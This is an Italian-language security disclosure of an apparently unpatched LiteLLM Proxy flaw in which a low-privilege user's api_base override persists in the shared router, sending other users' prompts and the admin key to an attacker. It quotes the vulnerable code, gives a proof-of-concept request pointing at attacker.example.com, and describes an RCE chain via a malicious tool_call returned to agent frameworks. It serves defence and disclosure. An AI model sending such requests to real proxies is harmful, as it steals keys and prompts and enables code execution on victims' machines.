Oggi analizzeremo nel dettaglio una vulnerabilità 0-day che colpisce LiteLLM Proxy (verificata fino alla versione 1.97.0), la quale permette un Persistent Deployment Poisoning, l’esfiltrazione delle chiavi di amministrazione e la Remote Code Execution (RCE).

Perché abbiamo scritto questo articolo?

Perché sono passati 30 giorni dalla nostra segnalazione iniziale e non abbiamo ricevuto assolutamente alcuna risposta dal team di LiteLLM. In conformità con le pratiche standard di responsible disclosure, dopo un mese di totale silenzio, rilasciamo i dettagli al pubblico in modo che gli amministratori possano proteggere le loro infrastrutture.

L’impatto potenziale include l’esfiltrazione incrociata dei prompt degli utenti, il furto della chiave API del provider di amministrazione, la corruzione persistente dello stato del router e (tramite l’esecuzione a valle di tool-call) la Remote Code Execution sui client delle vittime. Il vettore per tutto ciò è fondamentalmente CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L, che le assegna una gravità CRITICA di 9.3.

Che cos’è questo 0-day?

Si tratta di una vulnerabilità che permette di eseguire Persistent Deployment Poisoning tramite la manipolazione del parametro api_base nel server proxy LiteLLM.

Quando il proxy è configurato con general_settings.allow_client_side_credentials = true, qualsiasi utente autenticato (anche con i privilegi più bassi, basta possedere una chiave API proxy valida) può iniettare un api_base controllato dall’attaccante nel corpo di una richiesta /v1/chat/completions.

A causa di un difetto nel modo in cui il router gestisce queste sovrascritture, questo payload non influisce solo sulla richiesta dell’attaccante: persiste nella memoria condivisa Router.model_list tramite la funzione upsert_deployment.

Root cause

La vulnerabilità risiede in Router._handle_clientside_credential e nella sua interazione con la funzione upsert_deployment.

Router._handle_clientside_credential (litellm/router.py)

def _handle_clientside_credential(
    self, deployment: dict, kwargs: dict, function_name: Optional[str] = None
) -> Deployment:
    model_info = deployment.get("model_info", {}).copy()
    litellm_params = deployment["litellm_params"].copy()
    dynamic_litellm_params = get_dynamic_litellm_params(
        litellm_params=litellm_params, request_kwargs=kwargs
    )
    # ... builds a new Deployment with attacker-controlled api_base ...
    deployment_pydantic_obj = Deployment(
        model_name=model_group,
        litellm_params=LiteLLM_Params(**dynamic_litellm_params),
        model_info=model_info,
    )
    self.upsert_deployment(deployment=deployment_pydantic_obj)  # <-- PERSISTENT WRITE
    return deployment_pydantic_obj

Viene chiamato da Router._update_kwargs_with_deployment:

if is_clientside_credential(request_kwargs=kwargs):
    deployment_pydantic_obj = self._handle_clientside_credential(
        deployment=deployment, kwargs=kwargs, function_name=function_name
    )

is_clientside_credential (litellm/router_utils/clientside_credential_handler.py)

clientside_credential_keys = ["api_key", "api_base", "base_url"]

def is_clientside_credential(request_kwargs: dict) -> bool:
    return any(key in request_kwargs for key in clientside_credential_keys)

Una qualsiasi singola chiave (api_base da sola è sufficiente) attiva l’intera catena. Non c’è alcun requisito che api_key accompagni api_base.

get_dynamic_litellm_params (litellm/router_utils/clientside_credential_handler.py)

for key in clientside_credential_keys:
    if key in request_kwargs:
        litellm_params[key] = request_kwargs[key]   # only api_base is overwritten

if "api_base" in request_kwargs or "base_url" in request_kwargs:
    for field in _ADMIN_CONFIG_FIELDS_TO_CLEAR_ON_BASE_OVERRIDE:
        litellm_params.pop(field, None)
        if field in request_kwargs:
            litellm_params[field] = request_kwargs[field]

La lista _ADMIN_CONFIG_FIELDS_TO_CLEAR_ON_BASE_OVERRIDE cancella i campi specifici del provider (organization, extra_body, vertex, aws, oci, ecc.), ma non cancella api_key (si trova in clientside_credential_keys e viene sovrascritta solo se presente in request_kwargs). Quando l’attaccante invia solo api_base, il campo api_key conserva la chiave del provider admin del deployment originale.

Router.upsert_deployment (litellm/router.py)

def upsert_deployment(self, deployment: Deployment) -> Optional[Deployment]:
    _deployment_on_router = self.get_deployment(model_id=_deployment_model_id)
    if _deployment_on_router is not None:
        ...  # update if changed
    self.add_deployment(deployment=deployment)   # <-- added to shared model_list
    return deployment

Il deployment viene aggiunto a self.model_list, che è lo stato condiviso del router utilizzato per tutti gli utenti. Il model_id è un hash deterministico di model_group + litellm_params (tramite Router._generate_model_id), quindi il deployment avvelenato ottiene un ID distinto e coesiste con quello legittimo. Entrambi vengono restituiti dalle strategie di routing per lo stesso model_group.


La vulnerabilità (POC)

Un attaccante invia semplicemente una richiesta normale, ma include il proprio api_base nel body:

POST /v1/chat/completions HTTP/2 
Host: your-litellm-proxy.internal 
Authorization: Bearer sk-litellm-[CHIAVE-ATTACCANTE-BASSI-PRIVILEGI]
Content-Type: application/json

{
  "model": "gpt-4",
  "messages": [{"role": "user", "content": "hello"}],
  "api_base": "https://attacker.example.com/v1"
}

Ecco cosa succede dietro le quinte:

  1. is_clientside_credential restituisce True perché api_base è presente.
  2. get_dynamic_litellm_params sovrascrive l’api_base ma mantiene l’api_key originale dell’amministratore (perché l’attaccante non ne ha fornita una e l’api_key non è nella lista dei campi da pulire in caso di sovrascrittura della base).
  3. Viene richiamata upsert_deployment. Questo è il difetto fatale. Il deployment viene scritto nella model_list globale e condivisa.

Poiché questo deployment avvelenato condivide lo stesso model_group di quello legittimo, le strategie di routing (ad esempio, in round-robin) finiranno per selezionarlo per le richieste degli altri utenti verso lo stesso modello. L’attaccante può poi semplicemente fare il poisoning di ogni modello.

Quando una vittima (un utente diverso) invia una richiesta standard di chat completion, il proxy la instrada verso il deployment avvelenato. Il proxy invia quindi il prompt della vittima direttamente a [https://attacker.example.com/v1](https://attacker.example.com/v1).

La catena per l’RCE

Se il client a valle della vittima esegue chiamate a strumenti/funzioni (framework con agenti), il server dell’attaccante può semplicemente restituire un tool_call malevolo (ad es. run_shell({"cmd": "calc.exe"})). Il framework della vittima lo eseguirà ciecamente come risposta attendibile dell’LLM, portando all’RCE.

Mitigazione Suggerita

Dato che il fornitore non ha ancora rilasciato una patch, dovete mitigarla voi stessi: Impostate immediatamente allow_client_side_credentials: false nei vostri general_settings. Se avete assolutamente bisogno delle credenziali lato client, dovete implementare un reverse proxy davanti a LiteLLM che elimini le richieste contenenti api_base a meno che non provengano rigorosamente da IP fidati. Un’altra opzione è quella di commentare gli upsert

Timeline

  • 17 Luglio 2026 - Segnalazione (Github Security Advisory) aperta (https://github.com/BerriAI/litellm/security/advisories/GHSA-m8fp-3f3g-j5p7) senza risposta
  • 27 Luglio 2026 - Richiesta di conferma di ricezione inviata senza risposta
  • 31 Luglio 2026 - Ulteriore richiesta di conferma di ricezione inviata senza risposta
  • 05 Agosto 2026 - Messaggio privato su Discord inviato senza risposta
  • 14 Agosto 2026 - Altra richiesta di conferma di ricezione inviata senza risposta
  • 18 Agosto 2026 - Divulgazione Pubblica

image1